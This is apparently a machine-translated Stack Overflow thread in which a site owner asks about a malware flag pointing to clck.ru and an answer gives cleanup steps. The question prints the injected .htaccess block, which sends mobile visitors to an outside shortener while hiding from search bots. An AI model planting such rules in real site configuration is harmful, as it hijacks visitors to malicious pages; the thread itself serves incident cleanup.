php - PHP 网站上的恶意软件，指的是 clck.ru

<分区>

关闭。这个问题不符合Stack Overflow guidelines .它目前不接受答案。

这个问题似乎不是关于 a specific programming problem, a software algorithm, or software tools primarily used by programmers 的.如果您认为这个问题是关于 another Stack Exchange site 的主题，您可以发表评论，说明问题可能在哪里得到解答。

关闭 8 年前。

Improve this question

我有一个网站，根据 Sucuri SiteCheck 显然包含恶意软件.它引用了一些指向 clck.ru 的链接。

查看代码没有提到 clck.ru 或类似的。

我运行了 maldetect(在操作系统 Ubuntu 上)，它找到了一些我已删除的文件。

我已经更新了所有应用程序并重新启动了系统。

但 Sucuri SiteCheck 仍未验证该站点是否干净。

我指的网站是 cphdans.dk。谁能帮我做些什么？

会不会是某种 SQL 注入(inject)攻击，所以我应该在 MySQL 数据库中搜索一些东西(找不到 clck.ru)。

更新:

.htaccess 文件被以下代码破坏:

#########rataman##########
RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,$
RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu9$
RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|a$
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]

RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleW$
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|ameri$

RewriteRule ^(.*)$ http://clck.ru/8sNeJ [L,R=302]
#########!rataman!#########

最佳答案

很抱歉听到这个消息。代码可能通过 base64 和 eval 被隐藏了。这东西很恶心。它是什么样的系统？您能否将代码库与同一软件的干净副本进行比较？就像您在服务器上拥有该站点，但是您在另一个目录(例如在开发或暂存服务器上)中有一个干净的备份？原因是如果您这样做，您可以看到哪些文件可能已更改。

我使用的两种方法是使用 diff 和 rsync 进行 CRC 检查，就像这样。首先是一个简单的diff:

diff -Naur /path/to/infected/code/ /path/to/clean/code/

但我发现在试运行模式(选项 n)中使用 rsync 和 CRC 选项 c` set 效果更好:

rsync -rvnc /path/to/infected/code/ /path/to/clean/code/

您可能会发现以下部分或全部内容:

受感染的配置文件:脚本会尝试将恶意软件添加到 PHP 脚本的开头或结尾。
看起来应该存在但实际上不存在的文件:例如，在 WordPress 中有一个 hello.php 文件。但是一些恶意软件会创建一个 hello1.php 文件或一些类似的接近但不是准确文件名的文件。
不应该存在的目录:这通常是真正的负载。该目录将包含大量脚本。
JavaScript:检查您的 JavaScript 文件是否存在恶意软件。

同样，您很可能永远找不到提到的 URL 的明文版本，但您很可能会发现不应该存在的垃圾，它们只是通过 base64 编码/隐藏并通过 eval 运行的恶意软件。

另外，检查站点管理员中的用户列表。查找任何新注册或修改的用户。

编辑根据the Google safe browsing check你的网站很干净。也就是说，看什么 Sucuri SiteCheck says 显示了被破坏的特定页面。这one here .还有这个one here .您能否查看这些页面的代码或 CMS 内容的任何部分以了解发生了什么？

enter image description here

关于php - PHP 网站上的恶意软件，指的是 clck.ru，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/20822703/

上一篇：mysql explain 结果解释

下一篇：mysql - 使用 MySQL RAND() 来避免 ORDER BY RAND()

相关文章：

php - 从php中的字符串中删除单引号

php - 打开 PHP 页面的弹出窗口

perl - 文件下载结果在 "IE was not able to open this internet site"

php - 将 smarty bool 值转换为人类可读的值。 ('Yes'/'No' 或 'True'/'False' )

PHP 相当于第 n 个 child

mysql - 如何在 mysql 中快速更新数百万行

Mysql - 表锁定错误

php - MySQL选择困难

java - Apache HTTP 客户端，来自特定网络接口(interface)的请求

perl - 如何在 mod_perl 中添加脚本特定的库路径？